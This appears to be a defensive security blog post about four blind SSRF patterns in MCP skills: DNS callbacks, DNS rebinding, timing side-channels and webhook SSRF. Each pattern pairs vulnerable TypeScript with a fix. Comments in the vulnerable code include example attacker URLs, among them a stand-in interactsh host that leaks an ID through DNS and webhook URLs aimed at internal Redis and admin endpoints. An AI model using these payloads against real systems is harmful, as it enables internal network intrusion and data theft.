← Blog

Claude skill blind SSRF detection and exfiltration via DNS and time channels — SA-SKL-SSRF5

Blind SSRF is a class of server-side request forgery where the skill does not return the HTTP response body to the caller — the request is made fire-and-forget, or the response is logged but not echoed. Because there is no visible response, developers often consider these paths safe. SA-SKL-SSRF5 covers four blind SSRF patterns that confirm reachability and exfiltrate data without a visible response: DNS callback detection, DNS rebinding to bypass single-pass validation, response-time differential as a side-channel, and webhook URL SSRF for async notification endpoints.

By SkillAudit  |  6 Nov 2026

Why "we don't return the response" does not eliminate SSRF risk

The most common mental model for SSRF is: "the attacker supplies a URL, the server fetches it and returns the content, the attacker reads the content." From this model, it follows that if the skill never echoes the HTTP response — the request is a notification, an import trigger, or a background prefetch — there is nothing for the attacker to read. This model is incomplete in four ways.

First, DNS resolution itself is an observable event: even if the skill discards the HTTP response, the DNS query to resolve the attacker-controlled hostname is logged in the attacker's DNS server. The DNS query contains the hostname, confirming that the skill made an outbound request. If the hostname encodes data (e.g., EXFILTRATED-DATA.attacker.com), the DNS query exfiltrates that data to the attacker's DNS log. Second, the response time of the skill's API call reveals whether an internal IP was reachable: a request to http://10.0.0.1:8080 (unreachable) returns a TCP timeout in ~5000ms; a request to http://10.0.0.1:8080 (reachable) returns in ~50ms. Third, DNS rebinding allows the attacker to pass the skill's initial IP validation (which sees a public IP) and then have the DNS record switch to an internal IP for the actual TCP connection. Fourth, webhook URLs for async notifications are functionally equivalent to URL-fetch endpoints — the same SSRF blocklist must apply.

SA-SKL-SSRF5 in scope: SSRF5-001 (DNS callback confirms SSRF without response body), SSRF5-002 (DNS rebinding via TTL-0 record bypasses pre-fetch IP validation), SSRF5-003 (response-time differential reveals internal IP reachability), SSRF5-004 (webhook URL for async notifications sent fire-and-forget to internal services). Each pattern includes SkillAudit detection rules and correct fixes.

SSRF5-001 — DNS callback confirms SSRF reachability without reading response body

An MCP skill has a tool that makes a fire-and-forget HTTP request to a user-supplied URL to notify an external system of an audit completion. Because the skill discards the response, the developer assumes there is no SSRF risk — the attacker cannot read any internal service's response. However, an attacker who registers a DNS name with an Interactsh server (or Burp Collaborator) as the payload URL will observe a DNS query in their Interactsh console the moment the skill resolves the hostname. This confirms: (1) the skill is making outbound DNS queries, (2) the skill's execution environment can reach external DNS, and (3) if the attacker uses a subdomain that encodes identifiable data, the DNS log exfiltrates that data. The same SSRF blocklist that prevents response-body exfiltration must be applied to fire-and-forget requests.

// VULNERABLE — fire-and-forget request assumes "no response = no SSRF risk"
export async function sendCompletionWebhook(
  webhookUrl: string,
  auditId: string
): Promise<void> {
  // Developer thinks: "we discard the response, so there's no data leak"
  // Attacker supplies: "http://AUDITID-123.attacker-interactsh.com/callback"
  // DNS resolution creates a log entry in attacker's Interactsh console:
  // "DNS query: AUDITID-123.attacker-interactsh.com from [skill's IP]"
  // This confirms SSRF reachability and leaks the audit ID via DNS subdomain

  try {
    await fetch(webhookUrl, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ auditId, status: 'complete' }),
      // Response is discarded — but DNS lookup already happened
    });
  } catch {
    // Silently ignore errors — including timeouts from internal unreachable IPs
    // The timeout itself is a side-channel (see SSRF5-003)
  }
}
// FIXED — apply SSRF blocklist to ALL outbound HTTP calls regardless of response handling
import { validateUrlForSsrf } from './ssrf-validator'; // Same validator from SA-SKL-SSRF4-001
import { z } from 'zod';

const WebhookUrlSchema = z.string().url().max(2000);

export async function sendCompletionWebhook(
  webhookUrl: string,
  auditId: string
): Promise<void> {
  // Validate URL format
  const parseResult = WebhookUrlSchema.safeParse(webhookUrl);
  if (!parseResult.success) {
    throw new Error('Invalid webhook URL format');
  }

  // Apply SSRF blocklist — this performs DNS resolution and blocks private/link-local IPs
  // Even though we discard the response, we must still block internal IP ranges
  await validateUrlForSsrf(webhookUrl); // Throws if URL resolves to private range

  // Now safe to send the webhook
  try {
    const controller = new AbortController();
    const timeout = setTimeout(() => controller.abort(), 5000);

    await fetch(webhookUrl, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ auditId, status: 'complete' }),
      signal: controller.signal,
      redirect: 'manual', // Do not follow redirects — re-validate redirect targets
    });

    clearTimeout(timeout);
  } catch {
    // Log webhook delivery failure — do not expose error details to caller
  }
}
CRITICAL
SA-SKL-SSRF5-001 — Fire-and-forget HTTP requests that discard the response body still perform DNS resolution, which is observable by an attacker who controls the hostname via Interactsh/Burp Collaborator; DNS subdomain encoding allows data exfiltration without an HTTP response; the same SSRF blocklist must be applied to notification, webhook, and callback URL parameters regardless of whether the response is used. Detection: SkillAudit flags tool handler functions that call fetch(), axios.post(), or http.request() inside a try/catch that discards the result without applying the standard SSRF URL validation.

SSRF5-002 — DNS rebinding with TTL-0 record bypasses pre-fetch IP validation

DNS rebinding is a technique where an attacker controls a DNS server that answers queries for a hostname with different IP addresses on successive queries. In an SSRF context: the first DNS query (at validation time) returns a public IP that passes the SSRF blocklist check. The TTL is set to 0, so the system does not cache the record. The second DNS query (immediately before the TCP connection) returns 169.254.169.254. Because the SSRF validation and the HTTP client's DNS lookup are two separate DNS queries, the first query validates successfully while the second query returns the internal IP. The fix is to perform DNS resolution once, validate the resolved IP, and then use that validated IP directly for the TCP connection — preventing any additional DNS queries by the HTTP client.

// VULNERABLE — two separate DNS lookups: one for validation, one for the HTTP client
import dns from 'dns/promises';
import ipRangeCheck from 'ip-range-check';

const BLOCKED_RANGES = ['169.254.0.0/16', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16', '127.0.0.0/8'];

async function checkUrlNotInternal(url: string): Promise<void> {
  const { hostname } = new URL(url);
  // DNS lookup #1 — attacker's DNS returns a public IP here
  const { address } = await dns.lookup(hostname);
  if (ipRangeCheck(address, BLOCKED_RANGES)) {
    throw new Error('URL resolves to internal IP');
  }
  // Validation passes with the public IP
}

export async function fetchContent(url: string): Promise<string> {
  await checkUrlNotInternal(url); // DNS lookup #1 — returns public IP, validation passes
  // DNS lookup #2 — attacker's TTL-0 DNS now returns 169.254.169.254
  // fetch() makes its own independent DNS resolution here
  const response = await fetch(url); // Connects to 169.254.169.254 — bypasses validation
  return await response.text();
}
// FIXED — resolve DNS once, validate the IP, pin the connection to that resolved IP
import dns from 'dns/promises';
import ipRangeCheck from 'ip-range-check';
import { Agent as HttpsAgent } from 'node:https';
import { Agent as HttpAgent } from 'node:http';

const BLOCKED_RANGES = ['169.254.0.0/16', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16', '127.0.0.0/8'];

export async function fetchContentSafe(url: string): Promise<string> {
  const parsed = new URL(url);
  if (!['http:', 'https:'].includes(parsed.protocol)) {
    throw new Error('Only http and https protocols allowed');
  }

  // Single DNS resolution — validate and pin the IP
  const { address: resolvedIp, family } = await dns.lookup(parsed.hostname);

  if (ipRangeCheck(resolvedIp, BLOCKED_RANGES)) {
    throw new Error(`URL resolves to blocked IP range: ${resolvedIp}`);
  }

  // Create a custom HTTP agent that uses the already-resolved IP for the TCP connection
  // This prevents node's HTTP client from performing a second DNS lookup
  const lookupFn = (_: string, __: unknown, cb: Function) => cb(null, resolvedIp, family);
  const AgentClass = parsed.protocol === 'https:' ? HttpsAgent : HttpAgent;
  const pinnedAgent = new AgentClass({ lookup: lookupFn });

  const controller = new AbortController();
  setTimeout(() => controller.abort(), 5000);

  const response = await fetch(url, {
    // @ts-ignore — node-fetch / undici agent option
    agent: pinnedAgent,
    redirect: 'manual',
    signal: controller.signal,
  });

  if (response.status >= 300 && response.status < 400) {
    throw new Error('Redirects are not followed — re-validate redirect target separately');
  }

  return await response.text();
}
CRITICAL
SA-SKL-SSRF5-002 — DNS rebinding with TTL-0 records allows an attacker to serve a public IP for the SSRF validation DNS query and then serve 169.254.169.254 for the HTTP client's DNS query, bypassing single-pass IP validation; fix by resolving DNS once, validating the IP, and pinning the HTTP client's TCP connection to the validated IP via a custom lookup function that prevents any additional DNS resolution. Detection: SkillAudit flags SSRF validation implementations that perform DNS resolution separately from the outbound HTTP request rather than via a pinned custom agent.

SSRF5-003 — Response-time differential reveals internal network reachability

Even when a skill does not return the SSRF response body and handles all errors uniformly, the duration of the HTTP request is a timing side-channel. A request to an unreachable internal IP (e.g., http://10.0.0.1:8080 where no host exists) will time out after the network's TCP timeout — typically 15–30 seconds if no ICMP unreachable is sent, or 5 seconds if the skill uses a custom timeout. A request to a reachable internal service returns in milliseconds. By measuring the response time of the API call that triggered the SSRF (from the calling agent's perspective), an attacker can binary-search the internal IP space: fast responses indicate reachable hosts, slow timeouts indicate unreachable ones. The fix is to use a uniform short timeout for all outbound requests and to return the error response within a fixed time window regardless of whether the timeout was due to a blocklist match or an actual network timeout.

// VULNERABLE — response time reveals whether internal IPs are reachable
export async function checkUrl(url: string): Promise<{ accessible: boolean }> {
  // Suppose the SSRF blocklist check is missing or bypassed
  try {
    // If url = "http://10.0.0.5:8080/health" and 10.0.0.5 is a live internal service:
    // response arrives in ~50ms → attacker knows 10.0.0.5:8080 is reachable
    // If 10.0.0.5 is unreachable: TCP timeout in ~5000ms → attacker knows it's not reachable
    const response = await fetch(url, { signal: AbortSignal.timeout(5000) });
    return { accessible: response.ok };
  } catch {
    return { accessible: false };
  }
  // Even with the error hidden, the RESPONSE TIME of this tool call is different
  // for reachable (50ms) vs unreachable (5000ms) internal IPs
}
// FIXED — apply SSRF blocklist first (eliminates the timing channel at its root)
// Uniform timeout + fixed minimum response time as defense-in-depth
import { validateUrlForSsrf } from './ssrf-validator';

const FIXED_RESPONSE_DELAY_MS = 500; // Always respond after at least 500ms

export async function checkUrlSafe(url: string): Promise<{ accessible: boolean }> {
  const start = Date.now();

  try {
    // Primary fix: SSRF blocklist blocks internal IPs before any network request
    // This eliminates the timing channel because blocked requests throw immediately
    // rather than waiting for a TCP timeout
    await validateUrlForSsrf(url);

    const response = await fetch(url, {
      signal: AbortSignal.timeout(3000),
      redirect: 'manual',
    });

    // Enforce minimum response time to prevent timing oracle even for allowed hosts
    const elapsed = Date.now() - start;
    if (elapsed < FIXED_RESPONSE_DELAY_MS) {
      await new Promise(resolve => setTimeout(resolve, FIXED_RESPONSE_DELAY_MS - elapsed));
    }

    return { accessible: response.ok };
  } catch {
    // Uniform error response — always wait for minimum delay before returning
    const elapsed = Date.now() - start;
    if (elapsed < FIXED_RESPONSE_DELAY_MS) {
      await new Promise(resolve => setTimeout(resolve, FIXED_RESPONSE_DELAY_MS - elapsed));
    }
    return { accessible: false };
  }
}
HIGH
SA-SKL-SSRF5-003 — The response time of an MCP skill tool call that makes an outbound HTTP request is a timing side-channel: fast responses indicate reachable internal IPs, slow TCP timeouts indicate unreachable ones; primary fix is applying an SSRF blocklist that rejects internal IPs before any network request (eliminating the timing channel), with a fixed minimum response time as defense-in-depth. Detection: SkillAudit flags tool handler functions that make outbound HTTP requests where the response time is not normalized or where SSRF validation is absent, and that return the same error response for both blocklist-rejected and network-timeout cases.

SSRF5-004 — Webhook URL for async notifications enables fire-and-forget SSRF

MCP skills that perform long-running operations (scanning a large repository, generating an audit report) often accept a webhookUrl parameter so the skill can notify the caller when the operation is complete. This notification request is fire-and-forget: the skill sends a POST to the webhook URL and does not check the response. Developers often skip SSRF validation for webhook URLs because "it's just a notification — we're not reading anything." However, the POST request reaches any IP reachable from the skill's network, including internal services. An attacker who registers a webhook URL pointing to http://redis.internal:6379 causes the skill to send an HTTP POST with a JSON body to the Redis port — which may execute Redis commands if the HTTP payload happens to contain valid Redis protocol bytes, or which at minimum confirms that the port is open and reachable. The same SSRF blocklist applies.

// VULNERABLE — webhook URL for async notification not validated against SSRF blocklist
interface AuditJob {
  repoUrl: string;
  webhookUrl?: string; // User-supplied notification endpoint
  auditId: string;
}

async function runAuditJob(job: AuditJob): Promise<void> {
  const auditResult = await performFullAudit(job.repoUrl);

  if (job.webhookUrl) {
    // Developer: "it's just a notification — we don't read the response"
    // Attacker supplies: webhookUrl = "http://redis.internal:6379"
    // This POST reaches internal Redis; body may execute commands if Redis is unauthenticated
    // Or: webhookUrl = "http://10.0.0.5:8080/admin/reset-password?user=admin"
    // A GET-equivalent POST to an internal unauthenticated admin endpoint
    fetch(job.webhookUrl, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        auditId: job.auditId,
        result: auditResult,
        // audit result may contain sensitive findings — also leaks data
      }),
    }).catch(() => {}); // Silently ignore errors — including from internal services
  }
}
// FIXED — validate webhook URL against the full SSRF blocklist before enqueueing
import { validateUrlForSsrf } from './ssrf-validator';
import { z } from 'zod';

const WebhookSchema = z.object({
  url: z.string().url().max(2000).startsWith('https://'), // Require HTTPS for webhooks
  secret: z.string().min(16).max(256).optional(),         // HMAC secret for verification
});

async function validateWebhookUrl(webhookUrl: string): Promise<void> {
  // Format validation
  const parseResult = WebhookSchema.safeParse({ url: webhookUrl });
  if (!parseResult.success) {
    throw new Error('Invalid webhook URL: must be a valid HTTPS URL');
  }

  // SSRF blocklist — same validation as all other outbound URLs
  // Throws if the URL resolves to private/link-local/loopback ranges
  await validateUrlForSsrf(webhookUrl);
}

async function runAuditJob(job: AuditJob): Promise<void> {
  // Validate webhook URL at job creation time — before the job runs
  if (job.webhookUrl) {
    await validateWebhookUrl(job.webhookUrl);
  }

  const auditResult = await performFullAudit(job.repoUrl);

  if (job.webhookUrl) {
    try {
      const controller = new AbortController();
      setTimeout(() => controller.abort(), 10000);

      await fetch(job.webhookUrl, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          auditId: job.auditId,
          // Do not include full audit result in webhook body — attacker controls the endpoint
          // Send only a reference that the receiver must fetch from an authenticated endpoint
          resultUrl: `https://app.skillaudit.dev/api/audits/${job.auditId}/result`,
          completedAt: new Date().toISOString(),
        }),
        signal: controller.signal,
        redirect: 'manual',
      });
    } catch {
      // Log webhook delivery failure for retry queue — do not bubble up to caller
    }
  }
}
CRITICAL
SA-SKL-SSRF5-004 — Webhook URLs for async notification callbacks are functionally equivalent to URL-fetch parameters and must be validated against the same SSRF blocklist; a webhook URL pointing to an internal service receives a POST with the full audit result body, confirming port reachability and potentially leaking sensitive data to attacker-controlled endpoints; fix by validating webhook URLs at job creation time with the SSRF blocklist, requiring HTTPS, and sending only a callback reference rather than full result data in the webhook body. Detection: SkillAudit flags tool handler functions that accept a parameter named webhookUrl, callbackUrl, notifyUrl, or similar and make outbound HTTP requests without applying the standard SSRF URL validation.

Detection summary

ID Severity Pattern Fix
SSRF5-001 CRITICAL Fire-and-forget fetch discards response — DNS query still reveals SSRF reachability via Interactsh callback Apply SSRF blocklist to ALL outbound HTTP calls, including notification and webhook requests
SSRF5-002 CRITICAL DNS rebinding: TTL-0 returns public IP at validation, 169.254.169.254 at fetch — bypasses single-pass check Resolve DNS once, validate IP, pin HTTP agent to resolved IP via custom lookup function
SSRF5-003 HIGH Response-time differential (5s timeout vs 50ms success) reveals internal IP reachability as side-channel Apply SSRF blocklist first (eliminates the timing channel); normalize response time as defense-in-depth
SSRF5-004 CRITICAL Webhook URL for async notification not validated — POST sent to attacker-controlled internal endpoint Validate webhook URL at job creation time; require HTTPS; send only callback reference in body

Related patterns: SA-SKL-SSRF4 covers SSRF via cloud metadata endpoints (AWS IMDSv1, GCP metadata, internal VPC DNS). SA-SKL-SSRF3 covers SSRF via URL parsing inconsistencies (authority confusion, IPv6 bypass, redirect chains). Webhook security covers HMAC signature verification for incoming webhook endpoints.